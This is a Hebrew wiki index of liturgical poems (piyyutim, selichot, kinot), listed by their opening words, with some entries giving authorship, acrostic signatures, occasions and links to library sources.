אמרתי לפושעים אכלה פשעים{{ש}}

אמרתי שעו מני{{ש}}

אמרתך צרופה ועדותיך צדק{{ש}}

אמת אתה הוא ראשון (סליחה){{ש}}

אמת אתה חתננו{{ש}}

[[אמת יהגה חכי]]

אמת משל היה{{ש}}

אמת שבת לאות בנים אהובים{{ש}}

אנא אדון הסליחות והרחמים{{ש}}

אנא אדון הרחמים{{ש}}

אנא אזון חין תאבי ישעך{{ש}}

אנא אזון שועת מיחלים{{ש}}

אנא אחוז כס{{ש}}

אנא אל אחד ומבייש אומרים שנים{{ש}}

אנא אל אחד ושמו אחד{{ש}}

אנא אל אחרון וראשון{{ש}}

אנא אל נאור{{ש}}

אנא אלהי אברהם{{ש}}

אנא אלהי הנאדר{{ש}}

אנא אלהי תהלתי{{ש}}

אנא אמונים תעלה{{ש}}

אנא אמץ עם נצורי כאישון{{ש}}

אנא אנקת אסירי הבן{{ש}}

אנא בכח{{ש}}

אנא בקראנו{{ש}}

אנא דודי דגול מרבבה{{ש}}

אנא ה' האל הגדול הגבור והנורא{{ש}}

אנא ה' נוקם ובעל חמה{{ש}}

אנא ה' רחמיך יראו{{ש}}

אנא האל הנקדש{{ש}}

אנא הבורא עולמו בימים ששה{{ש}}

אנא הבורא עולמו ביסודות ארבעה{{ש}}

אנא הבט בצדקת עבדיך חסידיך{{ש}}

אנא הואל סלוח לעבדיך{{ש}}

אנא הושיעה נא בני עפר מי מנה{{ש}}

אנא הושע מאור עיני{{ש}}

אנא המיחד לכבודו{{ש}}

אנא המקדים לעולם דברים שבעה{{ש}}

אנא השם הנכבד והנורא{{ש}}

אנא זכור לאברהם{{ש}}

אנא חטא העם הזה{{ש}}

אנא חיש ישעי וחופשי{{ש}}

אנא חיש נא ישעי{{ש}}

אנא יוצרי דרשני{{ש}}

אנא יוצרי וקדושי{{ש}}

אנא יחיד נצור כבבת{{ש}}

אנא יסד יסודות מקדשי{{ש}}

אנא יערב לך שועי{{ש}}

אנא ישר מערכי{{ש}}

אנא ישר עם בא{{ש}}

אנא כעב זדוני תמחהו{{ש}}

אנא מלכי וקדושי{{ש}}

אנא עוררה אהבתך הישנה{{ש}}

אנא צור הנראה בלבת{{ש}}

אנא צור מושיעי{{ש}}

אנא רחום אל תפן לרשענו{{ש}}

אנא תומכי בדי ערבה{{ש}}

אנא תרב עליצותך{{ש}}

אנה אלך ואזיל דמעות כמים{{ש}}

אנוסה לעזרה פצתי עדיך{{ש}}

אנוקים ודוויים במכאובות{{ש}}

[[אנוש איך יתכפר]]

אנוש במה יצדק{{ש}}

אנוש עד דכא תשב{{ש}}

אנחנו אשמנו{{ש}}

אנחנו בני החבורה{{ש}}

אנחנו החומר ואתה יוצרנו{{ש}}

אנחתי מאד רבה{{ש}}

אני אמרתי אל מוציאו{{ש}}

אני אני המדבר{{ש}}

אני אספר באמרי שפר{{ש}}

אני אשאל{{ש}}

אני אשווע בבקר{{ש}}

אני ברב חסדך אבוא ביתך{{ש}}

אני גולה וסורה{{ש}}

אני הגבר אקונן{{ש}}

אני הוא השואל{{ש}}

אני היום{{ש}}

אני חומה ושדי כמגדלות{{ש}}

אני יום אירא אליך אקרא{{ש}}

אני מפקיד יחידתי{{ש}}

אני עבדך בן אמתך{{ש}}

אני צעיר{{ש}}

אני קול יללה ארים{{ש}}

אני קראתיך כי תענני אל{{ש}}

אני קראתיך כי תענני אל ותעתר אלי{{ש}}

אני ראשון ואני אחרון אהיה עמכם{{ש}}

אנכי אחת דיבר בקדשו{{ש}}

[[אנכי אנכי אנחם]]

אנכי אשאל מעם{{ש}}

אנכי גדול בנודעים{{ש}}

אנכי שמי אדני{{ש}}

אנסיכה מלכי{{ש}}

אנעים חדושי שירים{{ש}}

אנקת מסלדיך{{ש}}

אנשי אמונה אבדו{{ש}}

אנשי אמונה אבדו ואין איש{{ש}}

אנשי אמונה נעלמו מדורות{{ש}}

אנשי אמונה עברו{{ש}}

אנשי חסד הנושאים קולם{{ש}}

אנשי משמר{{ש}}

אסדר לסעודתא{{ש}}

אסופים אסופי אשפתות{{ש}}

אסירים אשר בכושר שעשעת{{ש}}

אסירים בשיר יצאו{{ש}}

==א-6951==
'''אספדה ואילילה ואספוק כף בנפש מרה'''. – על הרדיפות באשכנז בשנת 1298 – סי' א&quot;ב, העלוב תמר, תמר חזק ואמץ [בר מנחם]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#קינות וסליחות|קינות וסליחות]] [https://hebrewbooks.org/pdfpager.aspx?req=43925&amp;st=&amp;pgnum=75 סי' 3] [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338312 494].

אסתכל בעמך{{ש}}

אעירה שחר על דברתך{{ש}}

אעניד לך תפארה והלל{{ש}}

אערוך מדברי דתי{{ש}}

אערוך מהלל ניבי{{ש}}

אערוך שועי{{ש}}

אערך צפצופי{{ש}}

אעשה למען שמי{{ש}}

אף אורח משפטיך{{ש}}

אף ברי אותת{{ש}}

אפאר לאלהי מערכה{{ש}}

אפאר למלכי בקודש{{ש}}

אפודי שש{{ש}}

אפוני אימיו{{ש}}

אפילו כל נימי{{ש}}

אפיק רנן ושירים{{ש}}

אפננת ערוגים{{ש}}

אפס הוד כבודה{{ש}}

אפס זבח ועולה{{ש}}

אפס מזיח{{ש}}

אפס מרצה{{ש}}

אפסו אישים ובטלו קרבנות{{ש}}

אפפו עלי רעות{{ש}}

אפפונו חבלי מות{{ש}}

אפפונו מים{{ש}}

אפפונו מצוקות{{ש}}

אפתח נא שפתי{{ש}}

אפתחה במשל פי{{ש}}

אצבעותי שפלו{{ש}}

אצולה לפנים{{ש}}

אצולה מכבודו אל בראך{{ש}}

אצולים מגיא כסלוחים{{ש}}

אצולת אומן בצירוף זקוקה{{ש}}

אצור לספור חוק תעודה{{ש}}

אצילי עם עולי גולה{{ש}}

אצתי צום כפור{{ש}}

אקדמות{{ש}}

אקחה בראשון פרי עץ הדר{{ש}}

אקף יא צ'בי אלבר{{ש}}

אקרא בבכיה רבה{{ש}}

אקרא בשמך{{ש}}

אקרא לאלהים עליון{{ש}}

אראה לפני אלהים ברנני{{ש}}

אראלי מעלה{{ש}}

אראלי מרומים{{ש}}

אראלים וחשמלים זה אל זה שואלים{{ש}}

==א-7456==
'''[[אראלים וחשמלים יתנו שיר|אראלים חשמלים יתנו שיר לשם האל בטוב הגיון]]'''. — אופן לשבת ראשון אחר פסח — סי' א&quot;ב, יוסף זבארה. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#אוצר התפלות|אוצר התפלות]] ח&quot;ב [https://hebrewbooks.org/pdfpager.aspx?req=57996&amp;st=&amp;pgnum=655 254], [[אוצר השירה והפיוט/מפתח המקורות/מקורות לועזים#אלברעכט|אלברעכט]] [https://www.jstor.org/stable/43367064?seq=28 28], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ארנהיים|ארנהיים]] 219 [https://www.nli.org.il/he/books/NNL_ALEPH990017553190205171/NLI?volumeItem=2 *], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#אר&quot;צ|אר&quot;צ]] (שסב) [https://www.nli.org.il/he/books/NNL_ALEPH990012885960205171/NLI *]; [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#כל בו|כל בו]] ח&quot;ד 306 [https://hebrewbooks.org/pdfpager.aspx?req=20350&amp;st=&amp;pgnum=337 *], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#סליחות-תימנים|סליחות-תימנים]] 71, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#פירסט|פירסט]] 100,  [[אוצר השירה והפיוט/מפתח המקורות/מקורות לועזים#Zeitschrift der Deutschen Morgenländischen Gesellschaft.|צ.ד.מ.ג.]] נז 448 [https://opendata.uni-halle.de/explore?bitstream_id=91892760-c9fe-4ee1-87fb-640db129f925&amp;handle=1981185920/112959&amp;provider=iiif-image *], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ראב&quot;ע-איגר|ראב&quot;ע איגר]] [https://hebrewbooks.org/pdfpager.aspx?req=38498&amp;st=&amp;pgnum=117 217] [מיחסו בטעות להראב&quot;ע], [[אוצר השירה והפיוט/מפתח המקורות/מקורות לועזים#Brody and Albrecht|שע&quot;ה]] [https://hebrewbooks.org/pdfpager.aspx?req=39556&amp;st=&amp;pgnum=179 148], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#שער השמים|שער השמים]] ח&quot;ב [https://hebrewbooks.org/pdfpager.aspx?req=22560&amp;st=&amp;pgnum=204 101], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://www.digitale-sammlungen.de/de/view/bsb11007533?page=13 671] [מיחסו ליוסף סתם, ולא עמד על הסי' הנכון].{{ש}}

אראלים ומלאכים{{ש}}

ארבעה אבות נזיקין הן (סליחות){{ש}}

ארבעה עמדו{{ש}}
==א-7488==
'''[[ארוגי עוז|ארוגי עוז בקול מעוז לנערץ בצבא המלה]]'''. — אופן לשבת ראשון אחר פסח — סי' א'-פ'. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#אוצר התפלות|אוצר התפלות]] ח&quot;ב [https://hebrewbooks.org/pdfpager.aspx?req=57996&amp;st=&amp;pgnum=655 254], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ארנהיים|ארנהיים]] 218 [https://www.nli.org.il/he/books/NNL_ALEPH990017553190205171/NLI?volumeItem=2 *], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#כל בו|כל בו]] ח&quot;ד 306 [https://hebrewbooks.org/pdfpager.aspx?req=20350&amp;st=&amp;pgnum=337 *], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#פירסט|פירסט]] 99, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#שער השמים|שער השמים]] ח&quot;ב [https://hebrewbooks.org/pdfpager.aspx?req=22560&amp;st=&amp;pgnum=204 101], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://www.digitale-sammlungen.de/de/view/bsb11007533?page=21 679].{{ש}}

ארוממך אל חי{{ש}}

ארוממך אלהים המרומם{{ש}}

ארוממך חזקי וחלקי{{ש}}

ארוממך לכבוד שמך{{ש}}

ארור המן{{ש}}

ארזי הלבנון{{ש}}

ארחמך ה' חזקי{{ש}}

ארחמך מרחמי{{ש}}

ארחץ בנקיון כפות{{ש}}

אריאל בהיותו על מכונו{{ש}}

אריד בשיחי בשיחי לגוחי{{ש}}

אריה ביער דמיתי{{ש}}

אריה מסבכו{{ש}}

אריות הדיחו פזורה{{ש}}

אריות הדיחו שה פזורה{{ש}}

ארים על שפיים{{ש}}

ארך אפים אתה{{ש}}

ארכו הימים ודבר חזון{{ש}}

ארכין{{ש}}

ארכן וקצרן לא יחדל וימנע{{ש}}
==א-7657==
'''[[ארנן חסדך לבוקר|ארנן חסדך לבוקר אמיץ כליות חוקר]]'''. — יוצר לשבת (ראשון) (*) שני אחר פסח (מ&quot;פ) ולשבת הגדול (מנהג צרפת) — סי' א&quot;ב, יוסף בר שמואל [ריט&quot;ע]. *  [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#אוצר התפלות|אוצר התפלות]] ח&quot;ב [https://hebrewbooks.org/pdfpager.aspx?req=57996&amp;st=&amp;pgnum=658 257], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ארנהיים|ארנהיים]] 228, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#כל בו|כל בו]] ח&quot;ד 308 [https://hebrewbooks.org/pdfpager.aspx?req=20350&amp;st=&amp;pgnum=339 *], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#פירסט|פירסט]] 104, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#שער השמים|שער השמים]] ח&quot;ב [https://hebrewbooks.org/pdfpager.aspx?req=22560&amp;st=&amp;pgnum=208 103], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ל|ל]] [https://beta.hebrewbooks.org/pdfpager.aspx?req=29119&amp;st=&amp;pgnum=101 97], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1337951 133].{{ש}}

ארץ הקדושה{{ש}}

ארץ התמוטטה והתפוררה{{ש}}

ארץ ורום בהבראם{{ש}}

ארץ מטה ורעשה{{ש}}

אש תוקד בקרבי{{ש}}

אשא כנפי שחר{{ש}}

אשא לבי אל כפים{{ש}}

אשא עיניי{{ש}}

אשאג מנהמת לבי ואתאונן{{ש}}

אשאל אלהי{{ש}}

אשוחח נפלאותיך צור עולמים{{ש}}

אשום אשמתי לך{{ש}}

אשחר אל אל כל שנות עדני{{ש}}

אשחר עדתי{{ש}}

אשחר תשועתך{{ש}}

אשיחה בדברי נפלאותיך{{ש}}

אשיחה עם לבבי{{ש}}

אשיר בהוד נועם{{ש}}

[[אשיר במישרים]]

אשיר בקול נועם{{ש}}

אשיר לאל{{ש}}

אשיר לדוד שירתו{{ש}}

אשיר עז{{ש}}

אשירה ואזמרה שמך גואלי{{ש}}

אשירה כשירת משה{{ש}}

אשישת שלוחתו{{ש}}

אשכול איווי תאות כל נפש{{ש}}

אשם בעלי אשמה{{ש}}

אשמחה בדודי{{ש}}

אשמינו ועונינו רבו ועצמו{{ש}}

אשמנו באומר ובפועל{{ש}}

אשמנו מכל עם{{ש}}

אשמרה אליך עוזי{{ש}}

אשנבי שחקים{{ש}}

אשען במעש אזרח{{ש}}

אשפוך שיחי לפניך צורי{{ש}}

אשפוך תחינה{{ש}}

אשר בגלל אבות{{ש}}

אשר הניא{{ש}}

אשר יחדיו{{ש}}

אשר יצר אור וצר{{ש}}

[[אשר לו ים ויבשת]]

אשרו דרכיכם{{ש}}

אשרי הגבר אשר תיסרנו יה{{ש}}

אשרי העם יודעי תרועה לפתותו{{ש}}

אשרי העם שלו ככה{{ש}}

אשרי כל חוסי בך{{ש}}

אשרי עין ראתה אהלנו{{ש}}

אשרי עין ראתה ארון בבית קדש הקדשים{{ש}}

אשרי עין ראתה ארון הקדש{{ש}}

==א-8425==
'''[[אשרי עין ראתה ארון התפארת|אשרי עין ראתה ארון התפארת ובני אהרן עומדים על מזבח הקטרת]]'''. — הוספה להעבודה &quot;[[אוצר השירה והפיוט/ערכים#א-2230|אזכיר גבורות]]&quot; לר' יוסי בן יוסי — סי' יוסף הקטן [בן אביתור?] * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#קצנטינא|קצנטינא]] 83 [הדף נסמן עג בטעות].

אשרי עין ראתה ארץ צבי{{ש}}

אשרי עין ראתה ישראל יחד נקהלים{{ש}}

אשרי עין ראתה כהן בהוד עטרת{{ש}}

אשרי עין ראתה מכהן וחוק דתותיו{{ש}}

אשרי עין ראתה קדש הקדשים{{ש}}

אשרי עין ראתה שושנת השרון{{ש}}

אשריך אום קדוש{{ש}}

אשריך הר העברים{{ש}}

אשריך ישראל - אשלי מטע גן{{ש}}

אשריך ישראל מי כמוך{{ש}}

אשריכם ישראל{{ש}}

אשרינו (בהילולא דבר יוחאי){{ש}}

אשת חיל (זמר){{ש}}

אשת נעורים האהובה{{ש}}

אשתבח בתהלות{{ש}}

אשתחוה אל היכל קדשך ביראה{{ש}}

אשתטחה פני ארון{{ש}}

את אויביך אל תשמיד{{ש}}

את גומל מערבות{{ש}}

את דבר קדשך זכור{{ש}}

את ה' בהמצאו לדרשו קדמתי{{ש}}

את הברית ואת החסד{{ש}}

את הוא אלהא דגלן{{ש}}

את הקול קול יעקב נוהם{{ש}}

את השם הנכבד והנורא נאה לתהלותיו{{ש}}

את חטאי אני מזכיר היום{{ש}}

את חיל יום פקודה{{ש}}

את יום השמיני בטוב יזמיני{{ש}}

את יום פדותכם{{ש}}

את כל התלאה{{ש}}

את עמי טובות אבשר{{ש}}

את פליאות שם מחולל{{ש}}

את פני ה' יום תראו{{ש}}

את פני מבין ויודע דין דל{{ש}}

את פני מלך אתיצבה{{ש}}

את צום השביעי{{ש}}

את שיחי אשפוך{{ש}}

אתאנו לחלות פניך{{ש}}

אתאנו לך יוצר רוחות{{ש}}

אתאנו על שמך (פיוט){{ש}}

אתה אהבת עמך{{ש}}

אתה אהובי{{ש}}

אתה אל כביר{{ש}}

אתה אל נורא אתה{{ש}}

אתה אלהי מלכי מקדם{{ש}}

אתה אלהי תהלתי{{ש}}

אתה אלהים וזולתך אין עוד{{ש}}

אתה בן אדם גס רוח{{ש}}

אתה גאלת{{ש}}

אתה האל עושה פלא{{ש}}

אתה האל עושה פלאות{{ש}}

אתה הארת{{ש}}

אתה הוא ולא יתמו שנותיך{{ש}}

אתה הנחלת{{ש}}

אתה הרואה בעלבון נעלבים{{ש}}

אתה חלקי וצור לבבי{{ש}}

אתה כוננת עולם ברב חסד{{ש}}

אתה כוננת עולם מראש{{ש}}

אתה לבדך עטית{{ש}}

אתה מבין{{ש}}

אתה מלא רחמים{{ש}}

אתה מקדם אלהינו אדוננו{{ש}}

אתה תקותי ותוחלתי{{ש}}

אתודה לך חטאתי במורא{{ש}}

אתוודה על עבירות{{ש}}

אתי מלבנון כלה מראש אמנה תשורי{{ש}}

אתיו אמונים גזעי שלשה{{ש}}

אתיית עת דודים כגעה{{ש}}

אתן תהלה לאל המהולל{{ש}}

אתניה שבחיה{{ש}}

אתקינו סעודתא{{ש}}

=ב=

באנו ליחד שם האל{{ש}}

באפוד חושן נקבעת{{ש}}

באשמורת הבקר קראתיך אל מהולל{{ש}}

בדעתו אביעה חידות{{ש}}

בהיות ארון בבית קדשי הקדשים{{ש}}

בהיות ארון הבית על כנו{{ש}}

בהיכלך שמיר ושית{{ש}}

בורא עד אנה{{ש}}

בזכרי ימים ימימה{{ש}}

בזכרי על משכבי{{ש}}

בטרם שחקים וארקים נמתחו{{ש}}

בי תמכה ימינך{{ש}}

ביום הלבנת פשעי{{ש}}

ביום כפרת עווני{{ש}}

ביום עשור קראתיך{{ש}}

ביום שבת קדש{{ש}}

[[בימים ההם ובעת ההיא]]

בין כסה לעשור{{ש}}

בלולי אש ומימות{{ש}}

בליל זה בראש השנה{{ש}}

בליל זה יבכיון{{ש}}

==ב-726==
'''[[בליל זה סר נגהי]]'''. – קינה לת&quot;ב [הרקח]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338137 319].{{ש}}
(*) מקורות נוספים: [[אוצר השירה והפיוט/מפתח המקורות/מקורות נוספים#שירת הרקח|שירת הרקח]] 159 {{ש}}

בליל על משכבי{{ש}}

במאי פומא נפתח{{ש}}

במוצאי יום מנוחה{{ש}}

במוצאי מנוחה קדמנוך תחילה{{ש}}

במוצאי מנוחה תהילות תצמיח{{ש}}

במכת אהלה{{ש}}

במקדש אל והיכליו{{ש}}

במקהלות ברכו{{ש}}

במרומי ערץ{{ש}}

במרומי רום ישיבתך{{ש}}

במתי מספר חילינו פניך{{ש}}

בן אדם אלות אנח בשמעך{{ש}}

בן אדם מה לך נרדם{{ש}}

בן אדמה{{ש}}

בני היכלא{{ש}}

בני עליון בגבהי שחקים יאיצו{{ש}}

בני ציון היקרים{{ש}}

בנים שמעו לי ילדי איתני{{ש}}

בנין המזבח אם נהרס{{ש}}

==ב-1071==
'''[[יום שבת זכור#תוספות|בנר מצוה ותורה אור]]'''. – * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://www.digitale-sammlungen.de/de/view/bsb11007533?page=22 680].{{ש}}
(*) תוספת ל[[#י-1934|יום שבת זכור]] למגן אבות. [[אוצר השירה והפיוט/מפתח המקורות/מקורות נוספים#פליישר-מגן אבות|פליישר-מגן אבות]] 98.

בנשף קדמתי{{ש}}

==ב-1086==
'''[[בסימנא טבא יאיא|בסימנא טבא יאיא ובמזלא מעליה ושעת רצון ברכה והצלחה]]'''. — כתובה לב' שבועות. * רנה וישועה [https://www.nli.org.il/he/books/NNL_ALEPH990018638400205171/NLI?volumeItem=2 ח&quot;ב] 156:
בעשור יום גילות{{ש}}

בעת רצון תחנתי{{ש}}

בצאתו מן הדביר שלם{{ש}}

==ב-1277==
'''[[יום שבת זכור#תוספות|בצל ידך תכסה]]'''. – פיוט לסכות. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://www.digitale-sammlungen.de/de/view/bsb11007533?page=22 680].{{ש}}
(*) תוספת ל[[#י-1934|יום שבת זכור]] למגן אבות. [[אוצר השירה והפיוט/מפתח המקורות/מקורות נוספים#פליישר-מגן אבות|פליישר-מגן אבות]] 103.

בקר אעיר אקראך{{ש}}

בקר אערך לך ואצפה{{ש}}

בקשה למוצאי שבת{{ש}}

בקשה לרב סעדיה גאון{{ש}}

בקשה לרב סעדיה גאון/נוסח איטליה{{ש}}

בר יוחאי{{ש}}

ברוך אל עליון{{ש}}

ברוך אלהי עליון{{ש}}

ברוך בא בשם ה'{{ש}}

ברוך ה' יום יום{{ש}}

ברוכים אתם קהל אמוני{{ש}}

ברוכים העומדים והיושבים{{ש}}


ברח דודי (פיוט){{ש}}

ברית כרותה מלשכוח{{ש}}

ברכי אצולה{{ש}}

בשאר שמחות שירים תענו{{ש}}

בשם אלהי אברהם אפתחה{{ש}}

בת אהובת אל קמה בשחר{{ש}}

בת ברורה{{ש}}

בת עמי לא תחשה{{ש}}

בת עמי תייליל{{ש}}

בת ציון שמעתי{{ש}}

בתולת בת יהודה{{ש}}

=ג=
גדול עווני{{ש}}

גלה גלה{{ש}}

גרוני נחר זועק חמס{{ש}}

גרושים מבית תענוגיהם{{ש}}
=ד=
דביר בית שתיל זית{{ש}}

דברי נביאים העתידות ידעו{{ש}}

דודי ירד לגנו{{ש}}

דודי נהפך{{ש}}

דוי הסר{{ש}}

דומה לארז גדול{{ש}}

דוק וחוג רעשו{{ש}}

דיינו{{ש}}

דלתיך הלילה{{ש}}

דממו שרפים{{ש}}

דעני לעניי{{ש}}

דרור יקרא{{ש}}

דרכי שבעה רועים{{ש}}

דרשנוך בכל לב{{ש}}
=ה=
הא כעיני עבדיא{{ש}}

האדיר בשמי עליות{{ש}}

האדרת והאמונה{{ש}}

האומרים אחד{{ש}}

האזינו אבירים בני אלים{{ש}}

האחד בעולמו ואין שני לו{{ש}}

האל העירה וראה{{ש}}

הביטה וראה את אנחותינו{{ש}}
==ה-352==
'''[[הורידו מאין הפוגות|הורידו מאין הפוגות דמעות כנחל עיני]]'''. – קינה – סי' הצעיר מאיר [בן ברוך מרוטנברג]. *[[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#א סאלוניקי|א סאלוניקי]] (218:); [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#האאס|האאס]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/8091074 85] [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ל|ל]] [https://beta.hebrewbooks.org/pdfpager.aspx?req=29119&amp;st=&amp;pgnum=176&amp;hilite= 168] [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338178 360].{{ש}}
הורית דרך תשובה{{ש}}

הושיענו למען שמך{{ש}}

החרישו ממני ואדברה{{ש}}

הטה אלהי אזנך{{ש}}

היה עם פיפיות{{ש}}

היום הרת עולם{{ש}}

היום תאמצנו{{ש}}

היכל ה{{ש}}

הלא אמרית ליך{{ש}}

הלוא עיניך לאמונה{{ש}}

הללו אדיר אדירים{{ש}}

הלנופלים תקומה{{ש}}

המבדיל - יצוה ה' חסדו{{ש}}

המבדיל בין קודש לחול{{ש}}

המלך ה'{{ש}}

הנרות הללו{{ש}}

הקבצו ושמעו (קינה){{ש}}

הקבצו ושמעו בני יעקב דת יוצרכם{{ש}}

הרחמן אל תעש עמנו כחטאינו{{ש}}

הרחמן הוא אשר חנן{{ש}}

הרחמן לברית מילה{{ש}}

השמיעיני{{ש}}

התכבדו מכובדים{{ש}}

התקבצו מלאכים{{ש}}

=ו=
ואיזו תהילה כפי גודלך{{ש}}

ואמרתם זבח פסח{{ש}}

ואמרתם כה לחי{{ש}}

וארץ שפל רומי וגדל שברי{{ש}}

וארץ שפל רומי ונקלה כבודי{{ש}}

וארץ שפל רומי יום דימה{{ש}}

ואת נוי חטאתי השמימה{{ש}}

ואתאונן ואקונן{{ש}}

ואתה אמרת היטיב איטיב עמך{{ש}}

ואתה הוא ותיק{{ש}}

ובכן היה לאין{{ש}}

ובכן מי לא יראך{{ש}}

והללויה אהלל לאלי{{ש}}

והללויה אהלל למי שברא{{ש}}

וזאת הברכה (פיוט){{ש}}

וחיות ארבע אשר כס עומסות{{ש}}

וחיות אשר הנה מרובעות כסא{{ש}}

וחיות בוערות בכס רם לוויות{{ש}}

וחיות בוערות מראיהן כגחלי אש{{ש}}
==ו-197==
'''[[ויאהב אומן|ויאהב אומן יתומת הגן]]'''. — קרובה לפורים — [קליר]. הקרובה הזאת מתחלקת לששה פיוטים באופן כזה שהפיוט הראשון מבליע בתוכו חמשת הפיוטים האחרים, וזו סדרן: {{מודגש|א.}} ויאהב אומן — הפיוט הזה מתחלק לי&quot;ח בתים, בית אחד לכל אחת מי&quot;ח ברכות השמו&quot;ע, וכל בית מתחיל בתיבה אחת מן הי&quot;ח תיבות שב[[אסתר ב יז|אסתר ב', י&quot;ז]], ואחר התיבה הזאת באים חמשה חרוזים המתחילים באות אחת מאותות הא&quot;ב חמש פעמים, ומן החרוז הששי של כל בית ובית יוצא הסימן {{מודגש|{{צ|אלעזר בירבי קיליר חזק}}}} שיש בו י&quot;ח אותיות כמספר הבתים.{{ש}}
בין הבית הי&quot;ב והי&quot;ג באים הפיוטים האלה: {{מודגש|ב.}} אזרח בט חוץ בכסל גהוץ — סי א&quot;ב. {{מודגש|ג.}} תמימים כרשו ארץ והקצינו שר בערץ — תשר&quot;ק. {{מודגש|ד.}} אותו מבהלת חתות לו גחלת — סי' אלעזר בירבי קלירי. {{מודגש|ה.}} אספרה אל חק פלאות לחוק —  סי' א&quot;ב. ו. אמל ורבך חמשי כהנבך — סי' אלעזר בירבי קליר. * אוצר התפלות ח&quot;ב 182. אסב 43: כל בו ח&quot;ג 350 ובשאר דא&quot;ש מלבד היידנהיים; היידנהיים 108 דרך החיים ח&quot;ד 92 (בדפוס זה נשמטו חמשת הפיוטים ב'-ו'); מגלת אסתר — לבוב 9: (חסר סי' ו) לב שמח 382. סדר ימי הפורים 30 ע&quot;י 674 שער השמים ח&quot;ב 82. הערה: הפיוטים: אספרה אל חק(ה) ואמל ורבך (ו) נמצאו ג&quot;כ בקרובה אחרת: אמתך וחסדך אל תרחק. עי' ג&quot;כ ריפמאנן, ציון ח&quot;א 164. צ 62.

ויאתיו כל לעבדך{{ש}}

ויבא ארז ראש קצינים{{ש}}

ויבן אומן אומנות אבות{{ש}}

וידוי אשמנו מורחב{{ש}}

וידוי הגדול לרבנו נסים{{ש}}

ויהי בחצי הלילה{{ש}}

ויושע אומן אשכלות{{ש}}
==ו-239==
'''[[ויושע אור ישראל|ויושע אור ישראל איומתו מיד כובשים]]'''. — יוצר לז' של פסח — [מאיר בר יצחק]. פיוט זה נחלק לעשרה חלקים, כל חלק מכילד' בתים בעלי ג' חרוזים ומסיים ב&quot;קדוש&quot;. משורות הראשונות של שלשת הבתים הראשונים של כל חלק יוצא הסי' א&quot;ב, מאיר; משורות השניות של הבתים א-ג, ה' יוצא עוד פעם הסי' מאיר, והבית הרביעי של החלק הראשון מכיל הסי' מאיר בר יצחק. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#אוצר התפלות|אוצר התפלות]] ח&quot;ב [https://hebrewbooks.org/pdfpager.aspx?req=57996&amp;st=&amp;pgnum=654 253], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ארנהיים|ארנהיים]] 211 [https://www.nli.org.il/he/books/NNL_ALEPH990017553190205171/NLI?volumeItem=2 *], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#כל בו|כל בו]] ח&quot;ד 304 [https://hebrewbooks.org/pdfpager.aspx?req=20350&amp;st=&amp;pgnum=336 *], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#פירסט|פירסט]] 98  [בדפוסים אלו לשבת ראשון אחר פסח], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#מערבות|מערבות]] [https://hebrewbooks.org/pdfpager.aspx?req=42658&amp;st=&amp;pgnum=25 13] [לאחרון של פסח], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#שער השמים|שער השמים]] ח&quot;ב [https://hebrewbooks.org/pdfpager.aspx?req=22560&amp;st=&amp;pgnum=201 99]; [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1337964 146].{{ש}}

ויושע אל אמונה{{ש}}

ויושע ה' אבן ישראל{{ש}}

ויושע ה' אום למושעות{{ש}}

ויושע שושני פרח{{ש}}

[[ויכון עולם על מלאתו]]

ויעל משה (פיוט){{ש}}

וירד אביר יעקב{{ש}}

וירד אלהים על הר סיני (מערבית){{ש}}

וכל מאמינים{{ש}}

וכשחטאו ישראל במדבר{{ש}}

ומלאכים נהלכים{{ש}}

ונתנה תוקף}{{ש}}

ותיק וחסיד אתה{{ש}}

=ז=
זה אלי זה אלי ואנוהו{{ש}}

זולתך אדונים{{ש}}

זולתך אין אל{{ש}}

זכור אב נמשך אחריך כמים{{ש}}

זכור איכה{{ש}}

זכור את אשר עשה (יוצר){{ש}}

זכור את אשר עשה צר{{ש}}

זכור ברית - אבדנו מארץ טובה{{ש}}

